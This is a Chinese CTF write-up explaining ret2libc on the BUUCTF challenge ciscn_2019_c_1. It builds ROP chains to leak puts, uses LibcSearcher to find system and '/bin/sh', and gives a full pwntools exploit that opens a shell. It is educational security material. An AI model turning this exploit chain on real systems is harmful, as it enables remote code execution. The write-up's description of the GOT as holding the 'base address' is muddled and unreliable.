前提条件

  1. 当题目中开启了nx保护

  2. 题目中所给的文件没有system函数和/bin/sh

  3. 程序中有输入输出函数

当满足这些条件时我们就可以考虑ret2libc

解题思路

  • 首先,需要找到libc文件中的system函数地址和/bin/sh字符串的地址

  • 其次,构造ROP链,让程序去执行system(/bin/sh)

由于所给的文件中没有system和binsh,因此要在libc库中找到对应的真实地址

寻找真实地址需要下面的公式

1
函数的真实地址 = 基地址 + 偏移地址

因此就产生了一个问题:如何找到偏移量

got表和plt表

got表(global offset table)用于储存外部函数的在内存中的确切地址,也就是所需要的基地址,找到了system和binsh的got表地址再找到偏移量就能调用system(/bin/sh)

plt表(procedure link table)存放函数的入口地址,ida反编译出来的函数地址就是plt地址,用plt表可以执行程序中有的函数

找到真实地址和基地址后就可以计算出偏移地址,就能找到对应的libc版本

实例分析

BUUCTF在线评测 (buuoj.cn) ciscn_2019_c_1

1

开启了nx保护

拖入ida中没发现system函数

shift+f12也没看见binsh

程序中有puts() gets()这两个输入输出函数

因此可以考虑ret2libc

程序分析

main函数

2

发现上来先输入1才能让程序跳出循环继续执行

encrypt函数

3

就是输入一个字符串s然后给s各种加密最后再输出加密后的s

泄露libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

先设置rdi寄存器储存puts函数的got表地址

再通过plt表调用puts函数,输出的是puts的got表地址

再让他回到main函数,这样就可以让程序重新走一遍再一次构造ROP

1
2
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

接受puts的got表地址然后再输出出来

输出出来的地址可通过:libc database search (blukat.me)查询libc版本(不推荐,因为经常能找出一大堆版本,不知道是不是我打开方式有问题)

这里我们直接用LibcSearcher库来找libc版本

1
2
3
4
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

找到对应版本后算出偏移量再找到system和binsh的地址

调用system

之后再次构造rop链

1
2
3
4
5
6
7
r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

调用system需要栈对齐,要填充ret

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
from LibcSearcher import*

#r=remote('node5.buuoj.cn',28952)
elf=ELF('./ciscn_2019_c_1')
r=process('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)
r.interactive()

会发现有两个libc版本对应,挨个试,发现第二个可以

这题本地怎么都跑不通,连接远端服务器后就行,我估计是ubuntu版本太低了